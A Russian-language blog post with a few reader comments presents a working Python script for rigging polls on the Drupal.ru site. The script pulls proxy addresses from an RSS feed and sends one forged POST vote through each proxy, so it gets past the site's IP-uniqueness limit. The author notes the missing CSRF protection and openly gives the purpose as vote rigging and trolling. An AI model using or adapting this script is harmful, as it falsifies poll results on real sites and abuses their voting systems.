Простой скрипт на Питоне, накручивающий голосовалки на Друпал.ру:

import threading
import urllib
import re
import sys
import time
import random

try:
    _, nid, variant = sys.argv[:3]
except:
    print "Usage: python poll.py nid variant"
    exit(1)


PROXY_PATTERN = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}"
POLL_URL = "http://www.drupal.ru/inner_poll/vote_js"

PROXY_URLS = (
    "http://feeds.feedburner.com/best-proxy/oKhv",
)

proxies = []
for url in PROXY_URLS:
    try:
        proxies.extend(re.findall(PROXY_PATTERN, urllib.urlopen(url).read()))
    except:
        continue

params = {
    "n": nid,    # node id
    "v": variant # variant id ("0,1,n" if multiple)
}
data = urllib.urlencode(params)

threads = []

print len(proxies), "proxies =)"
time.sleep(3)

def job(p):
    time.sleep(random.randint(0, 60))
    urllib.urlopen(POLL_URL, data=data, proxies={'http': 'http://' + p})

for p in proxies:
    t = threading.Thread(target=job, args=(p, ))
    try:
        t.start()
    except:
        pass

Запускать так:

python poll.py nid variant

, где nid — номер ноды, variant — номер варианта ответа (нумерация с нуля) либо варианты через запятую.

Комментарии к коду.

  1. На Друпал.ру голосование разрешено всем, даже анонимам.
  2. Единственное ограничение на голосование — IP должен быть уникальным в пределах номера ноды.
  3. Запрос осуществляется методом POST с передачей двух переменных: номера ноды и варианта. Про CSRF-токены не, не слышали.
  4. Каждый запрос делаем через свой прокси. Список прокси берем из RSS-ленты сайта http://best-proxy.ru/ Лента, как вы заметили, пропущена через Фидбернер, т.к. создатели сайта огораживаются от граббинга.
  5. Каждый запрос выделяем в свой тред.
  6. КПД проксей где-то 10%, что тоже неплохо.

Область применения скрипта — накрутка и троллинг.

Комментарии из старого блога

03/10/13 RxB: Ну зачем… Теперь все будут знать

03/10/13 Иван Гришаев: Да и хрен с ним. Во-первых, на Д.ру одни пхп-шники, во-вторых, best-proxy.ru больше не обновляется, прокси из РСС-ленты не работают.

03/25/13 Александр Мальков: Но, все равно - спасибо. Интересный подход.